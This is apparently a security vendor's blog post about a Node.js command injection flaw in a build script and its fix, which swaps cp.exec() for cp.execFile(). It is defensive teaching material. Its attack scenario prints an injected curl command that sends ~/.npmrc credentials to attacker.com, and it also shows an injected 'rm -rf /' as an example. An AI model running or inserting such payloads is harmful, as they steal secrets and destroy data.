Back to Blog
high SEVERITY5 min read

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in the `scripts/build.cjs` file where `cp.exec()` was used to execute commands from a function argument. This pattern could allow attackers to inject malicious shell commands if the input were ever user-controllable. The fix replaced `cp.exec()` with `cp.execFile()`, eliminating the shell interpretation that makes command injection possible.

O
By Orbis AppSec
Published August 20, 2026Reviewed August 20, 2026

Answer Summary

This vulnerability is a command injection flaw (CWE-78) in Node.js caused by using `child_process.exec()` with a string argument that could be user-controllable. The `exec()` function passes commands through a shell, enabling injection attacks via shell metacharacters. The fix replaces `cp.exec(execStr)` with `cp.execFile(cmd, cmdArgs)`, which executes the command directly without shell interpretation, preventing attackers from breaking out of the intended command structure.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace cp.exec(execStr) with cp.execFile(cmd, cmdArgs) to avoid shell interpretation
riskArbitrary command execution on the build system
languageJavaScript (Node.js)
root causeUsing cp.exec() which interprets shell metacharacters in the execStr argument
vulnerabilityCommand Injection via child_process.exec()

Introduction

In the scripts/build.cjs file at line 33, a high-severity command injection vulnerability was lurking in the build system's task execution logic. The build() function accepted an execStr parameter and passed it directly to cp.exec(), a Node.js function that interprets shell metacharacters. While this build script runs in a controlled environment today, this pattern represents an "exploit primitive"—a code weakness that could be chained with other vulnerabilities by increasingly sophisticated automated attack tools.

The vulnerable code path existed in the else branch of the build() function, where commands that weren't file-based were executed through the shell:

child = cp.exec(execStr)

For developers maintaining build systems, CI/CD pipelines, or any Node.js tooling that spawns processes, understanding why this pattern is dangerous—and how to fix it—is essential.

The Vulnerability Explained

What Makes cp.exec() Dangerous?

The child_process.exec() function in Node.js spawns a shell (typically /bin/sh on Unix or cmd.exe on Windows) and executes the provided string within that shell context. This means shell metacharacters like ;, |, &&, $(), and backticks are interpreted.

Here's the vulnerable code from build.cjs:

async function build(type, execStr, taskName = execStr) {
  // ...
  if (type === 'file') {
    child = cp.spawn('node', ['--no-warnings', execStr])
  } else {
    child = cp.exec(execStr)  // VULNERABLE: shell interprets execStr
  }
  // ...
}

The execStr argument comes from a function parameter. If any code path allowed user-controlled data to flow into this parameter, an attacker could inject additional commands.

Attack Scenario

Imagine if execStr were derived from a configuration file, environment variable, or package.json field that could be influenced by a malicious dependency or contributor. An attacker could craft an input like:

npm run build; curl http://attacker.com/exfil?data=$(cat ~/.npmrc)

When passed to cp.exec(), the shell would:
1. Execute the legitimate build command
2. Execute the injected curl command, exfiltrating sensitive credentials

Because this is a Node.js library, the vulnerability affects all downstream consumers who use this package in their build processes.

Why This Matters

Even though execStr may not be directly user-controllable today, this code pattern:
- Creates technical debt that future developers might not recognize as dangerous
- Could become exploitable if the codebase evolves
- Represents a "primitive" that automated exploit tools can identify and chain with other weaknesses

The Fix

The fix replaces cp.exec() with cp.execFile(), fundamentally changing how the command is executed:

Before (Vulnerable)

child = cp.exec(execStr)

After (Secure)

const [cmd, ...cmdArgs] = execStr.split(' ')
child = cp.execFile(cmd, cmdArgs)

Why This Works

The execFile() function differs from exec() in a critical way: it does not spawn a shell. Instead, it directly invokes the specified executable with the provided arguments array.

Here's what changes:

Aspect exec(execStr) execFile(cmd, cmdArgs)
Shell invoked Yes No
Metacharacter interpretation ;, |, && etc. are processed Treated as literal strings
Injection risk High Eliminated

By splitting execStr into a command and arguments array, then passing them to execFile(), the fix ensures that:
- The command (cmd) is executed directly
- Arguments (cmdArgs) are passed as-is without shell interpretation
- An input like build; rm -rf / would fail because execFile() would look for a literal executable named build; rm -rf /

Prevention & Best Practices

1. Prefer execFile() or spawn() Over exec()

Whenever possible, use child_process functions that don't invoke a shell:

// Avoid
const { exec } = require('child_process');
exec(`grep ${userInput} file.txt`);  // Dangerous!

// Prefer
const { execFile } = require('child_process');
execFile('grep', [userInput, 'file.txt']);  // Safe

2. Use Argument Arrays, Not String Concatenation

Build commands as arrays rather than concatenated strings:

// Dangerous pattern
const cmd = `process --file=${filename}`;

// Safe pattern
const args = ['--file=' + filename];
execFile('process', args);

3. Validate and Sanitize Inputs

Even with execFile(), validate inputs against allowlists when possible:

const ALLOWED_COMMANDS = ['build', 'test', 'lint'];
if (!ALLOWED_COMMANDS.includes(cmd)) {
  throw new Error('Invalid command');
}

4. Use Static Analysis Tools

Configure Semgrep or similar tools to flag dangerous patterns:

rules:
  - id: no-exec-with-variable
    pattern: exec($VAR)
    message: "Avoid exec() with variable input"
    severity: ERROR

Key Takeaways

  • The build() function in build.cjs was using cp.exec(execStr) which passes the command through a shell, enabling potential injection attacks
  • Splitting the command string and using execFile() eliminates shell interpretation entirely, making injection impossible at this code point
  • Build scripts and CI/CD tooling are high-value targets because they often run with elevated privileges and access to secrets
  • "Exploit primitives" should be removed proactively—even if not immediately exploitable, they lower the bar for future attacks
  • Node.js libraries affect all downstream consumers, making defensive hardening especially important

How Orbis AppSec Detected This

  • Source: The execStr parameter passed to the build() function at line 30 of scripts/build.cjs
  • Sink: The cp.exec(execStr) call at line 33, which passes the argument through a shell interpreter
  • Missing control: No validation or sanitization of execStr before shell execution; use of shell-invoking exec() instead of direct execution
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Replaced cp.exec(execStr) with cp.execFile(cmd, cmdArgs) to execute commands directly without shell interpretation

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in build.cjs demonstrates why the choice between exec() and execFile() matters. While the vulnerable code may not have been immediately exploitable, it represented a dangerous pattern that could be leveraged as attack tooling becomes more sophisticated. By replacing cp.exec(execStr) with cp.execFile(cmd, cmdArgs), the fix eliminates shell interpretation entirely—a defense-in-depth approach that protects against both known and future attack vectors.

For developers working with Node.js build systems, the lesson is clear: avoid shell-invoking functions when direct execution is possible. Your future self—and your downstream users—will thank you.

References

Frequently Asked Questions

What is command injection via child_process?

Command injection via child_process occurs when user-controllable input is passed to Node.js functions like exec() that interpret shell metacharacters, allowing attackers to append or modify system commands.

How do you prevent command injection in Node.js?

Use execFile() or spawn() instead of exec(), validate and sanitize all inputs, use allowlists for permitted commands, and avoid shell=true options that enable shell interpretation.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation enough to prevent command injection?

Input validation alone is insufficient because shell metacharacters are numerous and context-dependent. The safer approach is to use APIs like execFile() that don't invoke a shell at all.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep can detect dangerous patterns such as exec() calls with variable arguments, flagging potential command injection vulnerabilities before they reach production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #11

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

critical

How Distributed Lock Takeover Happens in Node.js and How to Fix It

A critical vulnerability in `redis-lock/server.mjs` allowed any authenticated client to release another client's lock by guessing predictable holder identifiers like process IDs or hostnames. The fix implements cryptographically random `lockId` values that are minted on lock acquisition and validated on release, eliminating the exploit primitive entirely.

high

How Denial of Service via Infinite Loop happens in JavaScript (nanoid) and how to fix it

A high-severity denial of service vulnerability (CVE-2026-67213) was discovered in nanoid versions before 5.1.6 and 3.3.18, where the `customAlphabet` function could enter an infinite loop during random ID generation. The fix upgrades the transitive nanoid dependency from 3.3.16 to 3.3.18 using pnpm overrides, ensuring the vulnerable code path is eliminated from the entire dependency tree including PostCSS.

high

How Information Disclosure via Unstripped Credential Headers Happens in Electron Apps and How to Fix It

A high-severity vulnerability (CVE-2026-54673) in the builder-util-runtime package allowed sensitive credential headers to leak during HTTP redirects in Electron applications. The fix upgrades builder-util-runtime from version 9.5.1 to 9.7.0, which properly strips authentication headers before following redirects to prevent information disclosure.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How Missing CSRF Middleware happens in Express.js and how to fix it

A high-severity CSRF vulnerability was discovered in `libProxy.js` of an Express.js application — the app had no CSRF middleware protecting its state-changing routes, leaving them open to cross-site request forgery attacks. The fix introduces a `csrf` token library, a `/csrf-token` endpoint to issue tokens, and a middleware that validates `x-csrf-token` headers or `_csrf` body fields on all non-safe HTTP methods. This proactive hardening removes an exploit primitive that could be chained with ot